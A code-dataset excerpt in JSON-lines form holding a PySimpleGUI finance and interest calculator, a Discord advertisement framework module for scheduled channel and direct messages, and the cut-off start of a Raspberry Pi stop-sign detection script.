Data')\nplt.show()\n\n","repo_name":"darkenergy1856/DM-Practical","sub_path":"Practical_01.py","file_name":"Practical_01.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"37481700496","text":"import PySimpleGUI as sg\nimport matplotlib as plt\nimport matplotlib.pyplot\nimport pandas as pd\n\n\nclass FatalSystemError(Exception):\n def __init__(self, message=\"Give the class a string to work with you dummy or it defaults to this!\"):\n self.message = message\n super().__init__(self.message)\n\ndef compoundinterest(pa, ir, c):\n try:\n accumulated = 0\n principle_amount = int(pa)\n interest_rate = int(ir)\n time_periods = int(c)\n for i in range(time_periods):\n total_interest = (accumulated + principle_amount) * ((interest_rate / 100) * time_periods)\n accumulated += total_interest\n return total_interest\n except ValueError:\n return 0\n\ndef interest_calc():\n principle_amount = 0\n interest_rate = 0\n time_periods = 0\n total_interest = 0\n while True:\n layout = [[sg.T(\"\")],\n [sg.Text(\"Principle Amount (in dollars):\"),\n sg.Input(key=\"principle_amount\", change_submits=False, default_text=principle_amount), sg.Text('$')],\n [sg.Text(\"Interest Rate (percent):\"),\n sg.Input(key=\"interest_rate\", change_submits=False, default_text=interest_rate), sg.Text('%')],\n [sg.Text(\"Cycles :\"), sg.Input(key=\"cycles\", change_submits=False, default_text=time_periods)],\n [sg.Text(\"Interest Amount: \" + str(total_interest))],\n [sg.Button(\"Calculate Simple\"), sg.Button(\"Calculate Compound per charge (after n cycles)\")]]\n window = sg.Window(\"Interest Calculator\", layout)\n event, values = window.read()\n if event == sg.WIN_CLOSED or event == \"Exit\":\n raise FatalSystemError(\"User Initiated Exit\")\n elif event == \"Calculate Simple\":\n try:\n principle_amount = int(values[\"principle_amount\"])\n interest_rate = int(values[\"interest_rate\"])\n time_periods = int(values[\"cycles\"])\n total_interest = principle_amount * ((interest_rate / 100) * time_periods)\n except ValueError:\n pass\n elif event == \"Calculate Compound per charge (after n cycles)\":\n total_interest = compoundinterest(values[\"principle_amount\"], values[\"interest_rate\"], values[\"cycles\"])\n window.close()\n window.refresh()\n\n\ndef viewfinances():\n def plotmoney():\n mainchart = plt.pyplot\n mainchart.figure(1, (11, 8.5), 350)\n mainchart.plot(df[money_choice])\n mainchart.plot(df[debt_choice])\n mainchart.plot(df['realValue'])\n mainchart.plot(df[SMA])\n mainchart.grid(True)\n mainchart.ylabel('Amount of Money (in dollars)', loc='center')\n mainchart.xlabel('Chronological Order')\n mainchart.title('Finances')\n mainchart.legend(['Money', 'Debt', 'Actual Value', 'Moving Average'])\n mainchart.show()\n\n layout = [[sg.T(\"\")],\n [sg.Text(\"Choose a finances CSV: \"), sg.Input(key=\"-IN-\", change_submits=True),\n sg.FileBrowse(key=\"-IN-\", file_types=((\"CSV files\", \"*.csv\"),))],\n [sg.Button(\"Submit\")]]\n\n # Building Window\n window = sg.Window('Select File', layout, size=(600, 150))\n while True:\n event, values = window.read()\n if event == sg.WIN_CLOSED or event == \"Exit\":\n raise FatalSystemError(\"User Initiated Exit\")\n elif event == \"Submit\":\n file = values[\"-IN-\"]\n break\n\n window.close()\n\n layout = [[sg.T(\"\")],\n [sg.Text(\"What would you like to do?\")],\n [sg.Button(\"person_1\"), sg.Button(\"person_2\"), sg.Button(\"person_3\"), sg.Button(\"person_4\")]]\n chooseuserwindow = sg.Window(\"Who are you?\", layout)\n while True:\n event, values = chooseuserwindow.read()\n if event == sg.WIN_CLOSED or event == \"Exit\":\n raise FatalSystemError(\"User Initiated Exit\")\n elif event == 'person_1':\n money_choice = 'Money'\n debt_choice = \"Debt\"\n SMA = \"SMA\"\n elif event == 'person_2':\n money_choice = 'Money2'\n debt_choice = \"Debt2\"\n SMA = \"SMA2\"\n elif event == 'person_3':\n money_choice = 'Money3'\n debt_choice = 'Debt3'\n SMA = \"SMA3\"\n elif event == 'person_4':\n money_choice = 'Money4'\n debt_choice = 'Debt4'\n SMA = \"SMA4\"\n else:\n money_choice = 'Money'\n debt_choice = \"Debt\"\n SMA = \"SMA\"\n window.close()\n break\n\n df = pd.read_csv(file, index_col='Time')\n df['SMA'] = (df['Money'] + df['Debt']).rolling(20).mean()\n df['SMA2'] = (df['Money2'] + df['Debt2']).rolling(20).mean()\n df['SMA3'] = (df['Money3'] + df['Debt3']).rolling(20).mean()\n df['SMA4'] = (df['Money4'] + df['Debt4']).rolling(20).mean()\n money = df[money_choice]\n debt = df[debt_choice]\n df['realValue'] = money + debt\n plotmoney()\n\n\ndef start():\n layout = [[sg.T(\"\")],\n [sg.Text(\"What would you like to do?\")],\n [sg.Button(\"View Finances\"), sg.Button(\"Interest Calculation\")]]\n window = sg.Window('Options:', layout)\n while True:\n event, values = window.read()\n if event == sg.WIN_CLOSED or event == \"Exit\":\n raise FatalSystemError(\"User Initiated Exit\")\n elif event == \"View Finances\":\n window.close()\n viewfinances()\n break\n elif event == \"Interest Calculation\":\n window.close()\n interest_calc()\n break\n\n\nsg.theme(\"DarkAmber\")\nstart()\n","repo_name":"jayhawker6/Pickhacks-2022","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27191261666","text":"\"\"\"\nContains definitions for message classes that are text based.\"\"\"\n\nfrom typing import Any, Dict, List, Iterable, Optional, Union, Literal, Tuple, Callable\nfrom datetime import datetime, timedelta\nfrom typeguard import typechecked\n\nfrom .base import *\nfrom ..dtypes import *\nfrom ..logging.tracing import trace, TraceLEVELS\n\nfrom ..logging import sql\nfrom ..misc import doc, instance_track, async_util\nfrom ..events import *\n\nimport asyncio\nimport _discord as discord\n\n\n__all__ = (\n \"TextMESSAGE\",\n \"DirectMESSAGE\"\n)\n\n\n# Register message modes\nsql.register_type(\"MessageMODE\", \"send\")\nsql.register_type(\"MessageMODE\", \"edit\")\nsql.register_type(\"MessageMODE\", \"clear-send\")\n\n\n@instance_track.track_id\n@doc.doc_category(\"Messages\", path=\"message\")\n@sql.register_type(\"MessageTYPE\")\nclass TextMESSAGE(BaseChannelMessage):\n \"\"\"\n This class is used for creating objects that represent messages which will be sent to Discord's TEXT CHANNELS.\n\n Parameters\n ------------\n start_period: Union[int, timedelta, None]\n The value of this parameter can be:\n\n - None - Use this value for a fixed (not randomized) sending period\n - timedelta object - object describing time difference,\n if this is used, then the parameter represents the bottom limit of the **randomized** sending period.\n end_period: Union[int, timedelta]\n If ``start_period`` is not None,\n then this represents the upper limit of randomized time period in which messages will be sent.\n If ``start_period`` is None, then this represents the actual time period between each message send.\n\n .. CAUTION::\n When the period is lower than the remaining time, the framework will start\n incrementing the original period by original period until it is larger then\n the slow mode remaining time.\n\n .. code-block:: python\n :caption: **Randomized** sending period between **5** seconds and **10** seconds.\n\n # Time between each send is somewhere between 5 seconds and 10 seconds.\n daf.TextMESSAGE(start_period=timedelta(seconds=5), end_period=timedelta(seconds=10), data=\"Second Message\",\n channels=[12345], mode=\"send\", start_in=timedelta(seconds=0))\n\n .. code-block:: python\n :caption: **Fixed** sending period at **10** seconds\n\n # Time between each send is exactly 10 seconds.\n daf.TextMESSAGE(start_period=None, end_period=timedelta(seconds=10), data=\"Second Message\",\n channels=[12345], mode=\"send\", start_in=timedelta(seconds=0))\n data: Union[str, discord.Embed, FILE, List[Union[str, discord.Embed, FILE]], _FunctionBaseCLASS]\n The data parameter is the actual data that will be sent using discord's API.\n The data types of this parameter can be:\n\n - str (normal text),\n - :class:`discord.Embed`,\n - :ref:`FILE`,\n - List/Tuple containing any of the above arguments (There can up to 1 string, up to 1 :class:`discord.Embed` and up to 10 :ref:`FILE` objects.\n - Function that accepts any amount of parameters and returns any of the above types. To pass a function, YOU MUST USE THE :ref:`data_function` decorator on the function before passing the function to the daf.\n\n channels: Union[Iterable[Union[int, discord.TextChannel, discord.Thread]], daf.message.AutoCHANNEL]\n Channels that it will be advertised into (Can be snowflake ID or channel objects from PyCord).\n\n .. versionchanged:: v2.3\n Can also be :class:`~daf.message.AutoCHANNEL`\n\n .. note::\n\n If no channels are left, the message is automatically removed, unless AutoCHANNEL is used.\n\n mode: Optional[str]\n Parameter that defines how message will be sent to a channel.\n It can be:\n\n - \"send\" - each period a new message will be sent,\n - \"edit\" - each period the previously send message will be edited (if it exists)\n - \"clear-send\" - previous message will be deleted and a new one sent.\n start_in: Optional[timedelta | datetime]\n When should the message be first sent.\n *timedelta* means the difference from current time, while *datetime* means actual first send time.\n remove_after: Optional[Union[int, timedelta, datetime]]\n Deletes the message after:\n\n * int - provided amounts of successful sends to seperate channels.\n * timedelta - the specified time difference\n * datetime - specific date & time\n\n .. versionchanged:: 2.10\n\n Parameter ``remove_after`` of int type will now work at a channel level and\n it nows means the SUCCESSFUL number of sends into each channel.\n\n auto_publish: Optional[bool]\n Automatically publish message if sending to an announcement channel.\n Defaults to False.\n\n If the channel publish is rate limited, the message will still be sent, but an error will be\n printed to the console instead of message being published to the follower channels.\n\n .. versionadded:: 2.10\n \"\"\"\n\n __slots__ = (\n \"mode\",\n \"sent_messages\",\n \"auto_publish\",\n )\n\n @typechecked\n def __init__(\n self,\n start_period: Union[timedelta, int, None],\n end_period: Union[int, timedelta],\n data: Union[Iterable[Union[str, discord.Embed, FILE]], str, discord.Embed, FILE, _FunctionBaseCLASS],\n channels: Union[Iterable[Union[int, discord.TextChannel, discord.Thread]], AutoCHANNEL],\n mode: Literal[\"send\", \"edit\", \"clear-send\"] = \"send\",\n start_in: Union[timedelta, datetime] = timedelta(seconds=0),\n remove_after: Optional[Union[int, timedelta, datetime]] = None,\n auto_publish: bool = False\n ):\n super().__init__(start_period, end_period, data, channels, start_in, remove_after)\n self.mode = mode\n self.auto_publish = auto_publish\n # Dictionary for storing last sent message for each channel\n self.sent_messages: Dict[int, discord.Message] = {}\n\n @property\n def _slowmode(self) -> timedelta:\n \"\"\"\n The maximum slowmode delay of the message's channels.\n\n Returns\n ----------\n timedelta\n The maximum slowmode delay of all channels.\n \"\"\"\n seconds = max((c.slowmode_delay for c in self.channels), default=0)\n if seconds > 0: # To be sure\n seconds += 10\n\n return timedelta(seconds=seconds)\n\n def _check_period(self):\n \"\"\"\n Helper function used for checking the the period is lower\n than the slow mode delay.\n\n .. versionadded:: v2.3\n\n Parameters\n --------------\n slowmode_delay: timedelta\n The (maximum) slowmode delay.\n \"\"\"\n slowmode_delay = self._slowmode\n if self.start_period is not None:\n if self.start_period < slowmode_delay:\n self.start_period, self.end_period = (\n slowmode_delay,\n slowmode_delay + self.end_period - self.start_period\n )\n elif self.end_period < slowmode_delay:\n self.end_period = slowmode_delay\n\n self.period = self.end_period\n\n def generate_log_context(self,\n text: Optional[str],\n embed: discord.Embed,\n files: List[FILE],\n succeeded_ch: List[Union[discord.TextChannel, discord.Thread]],\n failed_ch: List[Dict[str, Any]]) -> Dict[str, Any]:\n \"\"\"\n Generates information about the message send attempt that is to be saved into a log.\n\n Parameters\n -----------\n text: str\n The text that was sent.\n embed: discord.Embed\n The embed that was sent.\n files: List[FILE]\n List of files that were sent.\n succeeded_ch: List[Union[discord.TextChannel, discord.Thread]]\n List of the successfully streamed channels.\n failed_ch: failed_ch: List[Dict[Union[discord.TextChannel, discord.Thread], Exception]]\n List of dictionaries contained the failed channel and the Exception object.\n\n Returns\n ----------\n Dict[str, Any]\n .. code-block:: python\n\n {\n sent_data:\n {\n text: str - The text that was sent,\n embed: Dict[str, Any] - The embed that was sent,\n files: List[str] - List of files that were sent\n },\n\n channels:\n {\n successful:\n {\n id: int - Snowflake id,\n name: str - Channel name\n },\n failed:\n {\n id: int - Snowflake id,\n name: str - Channel name,\n reason: str - Exception that caused the error\n }\n },\n type: str - The type of the message, this is always TextMESSAGE,\n mode: str - The mode used to send the message (send, edit, clear-send)\n }\n \"\"\"\n if not (len(succeeded_ch) + len(failed_ch)):\n return None\n\n succeeded_ch = [{\"name\": str(channel), \"id\": channel.id} for channel in succeeded_ch]\n failed_ch = [{\"name\": str(entry[\"channel\"]), \"id\": entry[\"channel\"].id,\n \"reason\": str(entry[\"reason\"])} for entry in failed_ch]\n\n embed = embed.to_dict() if embed is not None else None\n\n files = [x.fullpath for x in files]\n sent_data_context = {}\n if text is not None:\n sent_data_context[\"text\"] = text\n if embed is not None:\n sent_data_context[\"embed\"] = embed\n if len(files):\n sent_data_context[\"files\"] = files\n return {\n \"sent_data\": {\n **sent_data_context\n },\n \"channels\": {\n \"successful\": succeeded_ch,\n \"failed\": failed_ch\n },\n \"type\": type(self).__name__,\n \"mode\": self.mode,\n }\n\n async def _get_data(self) -> dict:\n \"\"\"\"\n Returns a dictionary of keyword arguments that is then expanded\n into other methods eg. `_send_channel, _generate_log`.\n\n .. versionchanged:: v2.3\n Turned async.\n \"\"\"\n data = await super()._get_data()\n _data_to_send = {\"embed\": None, \"text\": None, \"files\": []}\n if data is not None:\n if not isinstance(data, (list, tuple, set)):\n data = (data,)\n for element in data:\n if isinstance(element, str):\n _data_to_send[\"text\"] = element\n elif isinstance(element, discord.Embed):\n _data_to_send[\"embed\"] = element\n elif isinstance(element, FILE):\n _data_to_send[\"files\"].append(element)\n return _data_to_send\n\n def _get_channel_types(self):\n return {discord.TextChannel, discord.Thread}\n\n async def initialize(self, parent: Any, event_ctrl: EventController, channel_getter: Callable):\n \"\"\"\n This method initializes the implementation specific API objects and\n checks for the correct channel input context.\n\n Parameters\n --------------\n parent: daf.guild.GUILD\n The GUILD this message is in\n \"\"\"\n exc = await super().initialize(\n parent,\n event_ctrl,\n channel_getter\n )\n if exc is not None:\n return exc\n\n # Increase period to slow mode delay if it is lower\n self._check_period()\n\n async def _handle_error(\n self,\n channel: Union[discord.TextChannel, discord.Thread],\n ex: Exception\n ) -> Tuple[bool, ChannelErrorAction]:\n \"\"\"\n This method handles the error that occurred during the execution of the function.\n\n Parameters\n -----------\n channel: Union[discord.TextChannel, discord.Thread]\n The channel where the exception occurred.\n ex: Exception\n The exception that occurred during a send attempt.\n\n Returns\n -----------\n Tuple[bool, ChannelErrorAction]\n Tuple containing (error_handled, ChannelErrorAction),\n where the ChannelErrorAction is a enum telling upper part of the message layer how to proceed.\n \"\"\"\n handled = False\n action = None\n\n if isinstance(ex, discord.HTTPException):\n if ex.status == 403:\n # Timeout handling\n guild = channel.guild\n member = guild.get_member(self.parent.parent.client.user.id)\n if member is not None and member.timed_out:\n self.next_send_time = member.communication_disabled_until.astimezone() + timedelta(minutes=1)\n trace(\n f\"User '{member.name}' has been timed-out in guild '{guild.name}'.\\n\"\n f\"Retrying after {self.next_send_time} (1 minute after expiry)\",\n TraceLEVELS.WARNING\n )\n # Prevent channel removal by the cleanup process\n ex.status = 429\n ex.code = 0\n action = ChannelErrorAction.SKIP_CHANNELS # Don't try to send to other channels as it would yield the same result.\n\n elif ex.status == 429: # Rate limit\n retry_after = int(ex.response.headers[\"Retry-After\"]) + 5\n if ex.code == 20016: # Slow Mode\n self.next_send_time = datetime.now() + timedelta(seconds=retry_after)\n trace(f\"{channel.name} is in slow mode, retrying in {retry_after} seconds\", TraceLEVELS.WARNING)\n self._check_period() # Fix the period\n\n elif ex.status == 404: # Unknown object\n if ex.code == 10008: # Unknown message\n self.sent_messages[channel.id] = None\n handled = True\n\n elif ex.status == 401: # Token invalidated\n action = ChannelErrorAction.REMOVE_ACCOUNT\n\n return handled, action\n\n def _calc_next_time(self):\n super()._calc_next_time()\n slowmode_delay = self._slowmode\n current_time = datetime.now().astimezone()\n if self.next_send_time - current_time < slowmode_delay:\n self.next_send_time = current_time + slowmode_delay\n\n async def _send_channel(self,\n channel: Union[discord.TextChannel, discord.Thread, None],\n text: Optional[str],\n embed: Optional[discord.Embed],\n files: List[FILE]) -> dict:\n \"\"\"\n Sends data to specific channel\n\n Returns a dictionary:\n\n - \"success\" - Returns True if successful, else False\n - \"reason\" - Only present if \"success\" is False, contains the Exception returned by the send attempt\n\n Parameters\n -------------\n channel: Union[discord.TextChannel, discord.Thread]\n The channel in which to send the data.\n text: str\n The text to send.\n embed: discord.Embed\n The embedded frame to send.\n files: List[FILE]\n List of files to send.\n \"\"\"\n # Check if client has permissions before attempting to join\n for tries in range(3): # Maximum 3 tries (if rate limit)\n try:\n # Check if we have permissions\n client_: discord.Client = self.parent.parent.client\n member = channel.guild.get_member(client_.user.id)\n if member is None:\n raise self._generate_exception(\n 404, -1, \"Client user could not be found in guild members\", discord.NotFound\n )\n\n if channel.guild.me.pending:\n raise self._generate_exception(\n 403, 50009,\n \"Channel verification level is too high for you to gain access\",\n discord.Forbidden\n )\n\n ch_perms = channel.permissions_for(member)\n if ch_perms.send_messages is False:\n raise self._generate_exception(\n 403, 50013, \"You lack permissions to perform that action\", discord.Forbidden\n )\n\n # Check if channel still exists in cache (has not been deleted)\n if client_.get_channel(channel.id) is None:\n raise self._generate_exception(404, 10003, \"Channel was deleted\", discord.NotFound)\n\n # Delete previous message if clear-send mode is chosen and message exists\n if self.mode == \"clear-send\" and self.sent_messages.get(channel.id, None) is not None:\n await self.sent_messages[channel.id].delete()\n self.sent_messages[channel.id] = None\n\n # Send/Edit message\n if (\n self.mode in {\"send\", \"clear-send\"} or\n self.mode == \"edit\" and self.sent_messages.get(channel.id, None) is None\n ):\n message = await channel.send(\n text,\n embed=embed,\n files=[discord.File(file.stream, file.filename) for file in files]\n )\n self.sent_messages[channel.id] = message\n await self._publish_message(message)\n\n # Mode is edit and message was already send to this channel\n elif self.mode == \"edit\":\n await self.sent_messages[channel.id].edit(text, embed=embed)\n\n return {\"success\": True}\n\n except Exception as ex:\n handled, action = await self._handle_error(channel, ex)\n if not handled:\n return {\"success\": False, \"reason\": ex, \"action\": action}\n\n async def _publish_message(self, message: discord.Message):\n channel = message.channel\n if self.auto_publish and channel.is_news():\n try:\n await message.publish()\n except discord.HTTPException as exc:\n trace(\n f\"Unable to publish {self} to channel '{channel.name}'({channel.id})\",\n TraceLEVELS.ERROR,\n exc\n )\n\n\n@instance_track.track_id\n@doc.doc_category(\"Messages\", path=\"message\")\n@sql.register_type(\"MessageTYPE\")\nclass DirectMESSAGE(BaseMESSAGE):\n \"\"\"\n This class is used for creating objects that represent messages which will be sent to user's private messages.\n\n .. deprecated:: v2.1\n\n - start_period, end_period - Using int values, use ``timedelta`` object instead.\n\n .. versionchanged:: v2.7\n\n *start_in* now accepts datetime object\n\n Parameters\n ------------\n start_period: Union[int, timedelta, None]\n The value of this parameter can be:\n\n - None - Use this value for a fixed (not randomized) sending period\n - timedelta object - object describing time difference, if this is used,\n then the parameter represents the bottom limit of the **randomized** sending period.\n\n end_period: Union[int, timedelta]\n If ``start_period`` is not None, then this represents the upper limit of randomized time period\n in which messages will be sent.\n If ``start_period`` is None, then this represents the actual time period between each message send.\n\n .. code-block:: python\n :caption: **Randomized** sending period between **5** seconds and **10** seconds.\n\n # Time between each send is somewhere between 5 seconds and 10 seconds.\n daf.DirectMESSAGE(\n start_period=timedelta(seconds=5), end_period=timedelta(seconds=10), data=\"Second Message\",\n mode=\"send\", start_in=timedelta(seconds=0)\n )\n\n .. code-block:: python\n :caption: **Fixed** sending period at **10** seconds\n\n # Time between each send is exactly 10 seconds.\n daf.DirectMESSAGE(\n start_period=None, end_period=timedelta(seconds=10), data=\"Second Message\",\n mode=\"send\", start_in=timedelta(seconds=0)\n )\n\n data: Union[str, discord.Embed FILE, List[Union[str, discord.Embed, FILE]], _FunctionBaseCLASS]\n The data parameter is the actual data that will be sent using discord's API.\n The data types of this parameter can be:\n\n - str (normal text),\n - :class:`discord.Embed`,\n - :ref:`FILE`,\n - List/Tuple containing any of the above arguments\n (There can up to 1 string, up to 1 :class:`discord.Embed` and up to 10 :ref:`FILE` objects.\n - Function that accepts any amount of parameters and returns any of the above types.\n To pass a function, YOU MUST USE THE :ref:`data_function` decorator on the function.\n\n mode: Optional[str]\n Parameter that defines how message will be sent to a channel.\n It can be:\n\n - \"send\" - each period a new message will be sent,\n - \"edit\" - each period the previously send message will be edited (if it exists)\n - \"clear-send\" - previous message will be deleted and a new one sent.\n\n start_in: Optional[timedelta | datetime]\n When should the message be first sent.\n *timedelta* means the difference from current time, while *datetime* means actual first send time.\n remove_after: Optional[Union[int, timedelta, datetime]]\n Deletes the guild after:\n\n * int - provided amounts of successful sends\n * timedelta - the specified time difference\n * datetime - specific date & time\n \"\"\"\n\n __slots__ = (\n \"mode\",\n \"previous_message\",\n \"dm_channel\",\n )\n\n @typechecked\n def __init__(self,\n start_period: Union[int, timedelta, None],\n end_period: Union[int, timedelta],\n data: Union[str, discord.Embed, FILE, Iterable[Union[str, discord.Embed, FILE]], _FunctionBaseCLASS],\n mode: Optional[Literal[\"send\", \"edit\", \"clear-send\"]] = \"send\",\n start_in: Optional[Union[timedelta, datetime]] = timedelta(seconds=0),\n remove_after: Optional[Union[int, timedelta, datetime]] = None):\n super().__init__(start_period, end_period, data, start_in, remove_after)\n self.mode = mode\n self.dm_channel: discord.User = None\n self.previous_message: discord.Message = None\n\n def _update_state(self) -> bool:\n \"\"\"\n Updates internal remove_after counter.\n \"\"\"\n if type(self._remove_after) is int:\n self._remove_after -= 1\n if not self._remove_after:\n self._event_ctrl.emit(EventID.message_removed, self.parent, self)\n\n\n def generate_log_context(self,\n success_context: Dict[str, Union[bool, Optional[Exception]]],\n text: Optional[str],\n embed: Optional[discord.Embed],\n files: List[FILE]) -> Dict[str, Any]:\n \"\"\"\n Generates information about the message send attempt that is to be saved into a log.\n\n Parameters\n -----------\n text: str\n The text that was sent.\n embed: discord.Embed\n The embed that was sent.\n files: List[FILE]\n List of files that were sent.\n success_context: Dict[bool, Exception]\n Dictionary containing information about succession of the DM attempt.\n Contains \"success\": `bool` key and \"reason\": `Exception` key which is only present if \"success\" is `False`\n\n\n Returns\n ----------\n Dict[str, Any]\n .. code-block:: python\n\n {\n sent_data:\n {\n text: str - The text that was sent,\n embed: Dict[str, Any] - The embed that was sent,\n files: List[str] - List of files that were sent.\n },\n success_info:\n {\n success: bool - Was sending successful or not,\n reason: str - If it was unsuccessful, what was the reason\n },\n type: str - The type of the message, this is always DirectMESSAGE,\n mode: str - The mode used to send the message (send, edit, clear-send)\n }\n \"\"\"\n embed = embed.to_dict() if embed is not None else None\n files = [x.fullpath for x in files]\n\n success_context = success_context.copy() # Don't modify outside\n if not success_context[\"success\"]:\n success_context[\"reason\"] = str(success_context[\"reason\"])\n\n sent_data_context = {}\n if text is not None:\n sent_data_context[\"text\"] = text\n if embed is not None:\n sent_data_context[\"embed\"] = embed\n if len(files):\n sent_data_context[\"files\"] = files\n return {\n \"sent_data\": {\n **sent_data_context\n },\n \"success_info\": {\n **success_context\n },\n \"type\": type(self).__name__,\n \"mode\": self.mode\n }\n\n async def _get_data(self) -> dict:\n \"\"\"\n Returns a dictionary of keyword arguments that is then expanded\n into other functions (_send_channel, _generate_log).\n This is exactly the same as in :ref:`TextMESSAGE`.\n\n .. versionchanged:: v2.3\n Turned async.\n \"\"\"\n data = await super()._get_data()\n _data_to_send = {\"embed\": None, \"text\": None, \"files\": []}\n if data is not None:\n if not isinstance(data, (list, tuple, set)):\n data = (data,)\n for element in data:\n if isinstance(element, str):\n _data_to_send[\"text\"] = element\n elif isinstance(element, discord.Embed):\n _data_to_send[\"embed\"] = element\n elif isinstance(element, FILE):\n _data_to_send[\"files\"].append(element)\n return _data_to_send\n\n @async_util.except_return\n async def initialize(self, parent: Any, event_ctrl: EventController, guild: discord.User):\n \"\"\"\n The method creates a direct message channel and\n returns True on success or False on failure\n\n .. versionchanged:: v2.1\n Renamed user to and changed the type from discord.User to daf.guild.USER\n\n Parameters\n -----------\n parent: daf.guild.USER\n The USER this message is in\n \"\"\"\n try:\n self.parent = parent\n await guild.create_dm()\n self.dm_channel = guild\n return await super().initialize(event_ctrl)\n except discord.HTTPException as exc:\n trace(f\"Unable to create DM with user {guild.display_name}\", TraceLEVELS.ERROR, exc)\n raise\n\n async def _handle_error(self, ex: Exception) -> bool:\n \"\"\"\n This method handles the error that occurred during the execution of the function.\n Returns `True` if error was handled.\n\n Parameters\n -----------\n ex: Exception\n The exception that occurred during a send attempt.\n \"\"\"\n handled = False\n if isinstance(ex, discord.HTTPException):\n if ex.status == 429 or ex.code == 40003: # Too Many Requests or opening DMs too fast\n retry_after = int(ex.response.headers[\"Retry-After\"]) + 1\n await asyncio.sleep(retry_after)\n handled = True\n elif ex.status == 404: # Unknown object\n if ex.code == 10008: # Unknown message\n self.previous_message = None\n handled = True\n\n return handled\n\n async def _send_channel(self,\n text: Optional[str],\n embed: Optional[discord.Embed],\n files: List[FILE]) -> dict:\n \"\"\"\n Sends data to the DM channel (user).\n\n Returns\n ------------\n Returns a dictionary:\n - \"success\" - Returns True if successful, else False.\n - \"reason\" - Only present if \"success\" is False, contains the Exception returned by the send attempt.\n \"\"\"\n # Send/Edit messages\n for tries in range(3): # Maximum 3 tries (if rate limit)\n try:\n # Deletes previous message if it exists and mode is \"clear-send\"\n if self.mode == \"clear-send\" and self.previous_message is not None:\n await self.previous_message.delete()\n self.previous_message = None\n\n # Sends a new message\n if (\n self.mode in {\"send\", \"clear-send\"} or\n self.mode == \"edit\" and self.previous_message is None\n ):\n self.previous_message = await self.dm_channel.send(\n text,\n embed=embed,\n files=[discord.File(fwFILE.stream, fwFILE.filename) for fwFILE in files]\n )\n\n # Mode is edit and message was already send to this channel\n elif self.mode == \"edit\":\n await self.previous_message.edit(text, embed=embed)\n\n return {\"success\": True}\n\n except Exception as ex:\n if await self._handle_error(ex) is False or tries == 2:\n return {\"success\": False, \"reason\": ex}\n\n @async_util.with_semaphore(\"update_semaphore\")\n async def _send(self) -> Union[dict, None]:\n \"\"\"\n Sends the data into the channels\n \"\"\"\n # Parse data from the data parameter\n data_to_send = await self._get_data()\n if any(data_to_send.values()):\n channel_ctx = await self._send_channel(**data_to_send)\n self._update_state()\n if channel_ctx[\"success\"] is False:\n reason = channel_ctx[\"reason\"]\n if isinstance(reason, discord.HTTPException):\n if reason.status in {400, 403}: # Bad request, forbidden\n self._event_ctrl.emit(EventID.server_removed, self.parent)\n elif reason.status == 401: # Unauthorized (invalid token)\n self._event_ctrl.emit(EventID.g_account_expired, self.parent.parent)\n\n return self.generate_log_context(channel_ctx, **data_to_send)\n\n return None\n\n def update(self, _init_options: Optional[dict] = None, **kwargs) -> asyncio.Future:\n return self._event_ctrl.emit(EventID.message_update, self, _init_options, **kwargs)\n\n async def _on_update(self, _, _init_options: Optional[dict], **kwargs):\n await self._close()\n if \"start_in\" not in kwargs:\n # This parameter does not appear as attribute, manual setting necessary\n kwargs[\"start_in\"] = self.next_send_time\n\n if \"data\" not in kwargs:\n kwargs[\"data\"] = self._data\n\n if _init_options is None:\n _init_options = {\"parent\": self.parent, \"guild\": self.dm_channel, \"event_ctrl\": self._event_ctrl}\n\n try:\n await async_util.update_obj_param(self, init_options=_init_options, **kwargs)\n except Exception:\n await self.initialize(self.parent, self._event_ctrl, self.dm_channel)\n raise\n","repo_name":"davidhozic/discord-advertisement-framework","sub_path":"src/daf/message/text_based.py","file_name":"text_based.py","file_ext":"py","file_size_in_byte":32235,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"7"} +{"seq_id":"9307988190","text":"import random\nimport io\nimport time\nimport threading\nimport picamera\nfrom cv2 import imdecode\nfrom cv2 import imwrite as imw\nimport cv2\nimport numpy as np\nfrom PIL import Image as PILImage\nimport socket\nimport io\nimport struct\nimport RPi.GPIO as GPIO\n\nIR_RIGHT = 40\nIR_LEFT = 38\nTRIG_PIN = 32\nECHO_PIN = 36\n\nGPIO.setmode(GPIO.BOARD)\nGPIO.setup(IR_RIGHT, GPIO.IN)\nGPIO.setup(IR_LEFT, GPIO.IN)\nGPIO.setup(TRIG_PIN, GPIO.OUT)\nGPIO.setup(ECHO_PIN, GPIO.IN)\n\n\nclass img_prs():\n def __init__(self, img, show_img=False) -> None:\n self.raw_img = img\n self.processed_img = self.raw_img\n self.img_result = \"\"\n # self.img_result = \"img not processed!\"\n\n def __detect_stop_sign(self):\n self.processed_img = cv2.cvtColor(\n self.processed_img, cv2.COLOR_BGR2RGB)\n self.processed_img = cv2.flip(self.processed_img, -1)\n self.processed_img = self.processed_img[:, :8*90]\n self.raw_img = self.processed_img\n\n self.processed_img = self.raw_img[:,:int(self.raw_img.shape[1]/2)].copy()\n self.processed_img = cv2.blur(self.processed_img, (70, 70))\n r, g, b = cv2.split(self.processed_img)\n r[r > 250] = 255\n g[g < 30] = 0\n b[b < 30] = 0\n self.processed_img = cv2.merge([r, g, b])\n\n hsv = cv2.cvtColor(self.processed_img, cv2.COLOR_BGR2HSV)\n mask = cv2.inRange(hsv, np.array(\n [60, 70, 49]), np.array([255, 255, 255]))\n self.processed_img = cv2.bitwise_and(\n self.processed_img, self.processed_img, mask=mask)\n\n r, g, b = cv2.split(self.processed_img)\n\n checker_array_red = np.zeros(r.shape, dtype=np.uint8)+50\n checker_array_green = np.zeros(r.shape, dtype=np.uint8)+50\n checker_array_blue = np.zeros(r.shape, dtype=np.uint8)+50\n output = np.logical_not(np.logical_and(np.logical_and(np.greater(\n r, checker_array_red), np.greater(g, checker_array_green)), np.greater(b, checker_array_blue)))\n r = np.multiply(r, output)\n g = np.multiply(g, output)\n b = np.multiply(b, output)\n\n self.processed_img = cv2.merge([r, g, b])\n\n res = self.processed_img.mean(axis=0).mean(axis=0)\n result = (res[2]/res.sum())*100\n if (result > 50) and (result < 90):\n self.img_result = 'y'\n else:\n self.img_result = 'n'\n\n def final_result(self):\n self.__detect_stop_sign()\n return self.img_result, self.processed_img\n\n\nclass ImageProcessor(threading.Thread):\n def __init__(self, owner):\n super(ImageProcessor, self).__init__()\n self.stream = io.BytesIO()\n self.event = 